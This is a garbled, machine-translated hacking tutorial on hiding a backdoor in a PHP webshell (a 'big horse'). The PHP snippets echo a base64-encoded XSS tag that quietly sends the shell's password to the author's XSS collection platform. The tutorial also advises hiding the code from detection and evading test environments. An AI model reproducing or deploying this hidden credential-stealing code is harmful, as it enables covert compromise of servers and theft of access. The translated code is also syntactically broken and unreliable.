Part 1 Intro
Say what good, send a picture to be a primer good.
Part 2 XSS Platform
Create a project
Select Type
XSS Code
Small experiment, Refresh code
On the XSS platform
Part 3 back Door
We write a script like this
<? PHP $password = ' admin '; // Suppose this big horse code Echo ' $password. ' " /> ';
Browser, run script
On the XSS platform
Encrypting XSS Code
Final script
<?php
$password = ' HACKSB '; // Suppose this big horse code $url = ' base64 encryption code '; $hm Base64_decode ($url); Echo $hm. $password. ' "/>";
Under test, run the script.
<? PHP $password = ' hacksb '$url = ' pgltzb3awr0ad0wagvpz2h0ptagc3jjpjodhrwoi8vehzms5jbi94c3mucghwp2rvpwfwaszpzd1jnjmxvy2f0a9upq== '; $hm Base64_decode ($url); Echo $hm. $password. ' "/>";
On the XSS platform
Part 3 leverages
Find a big horse.
Insert the Backdoor code. In short, as far as possible without being easily detected by others. There are also variable names that do not clash with the big horse itself.
Run the big horse.
The XSS platform. Hey, heh.
Part 4 PostScript
This back door is not perfect, for example, grab bag, F12 back door is leaking out, need to be perfected. For example, the backdoor code runs only once, and the local test environment does not execute the backdoor code.
Reference: https://bbs.ichunqiu.com/thread-18486-1-1.html
Add back door to your PHP big horse (Black eats black)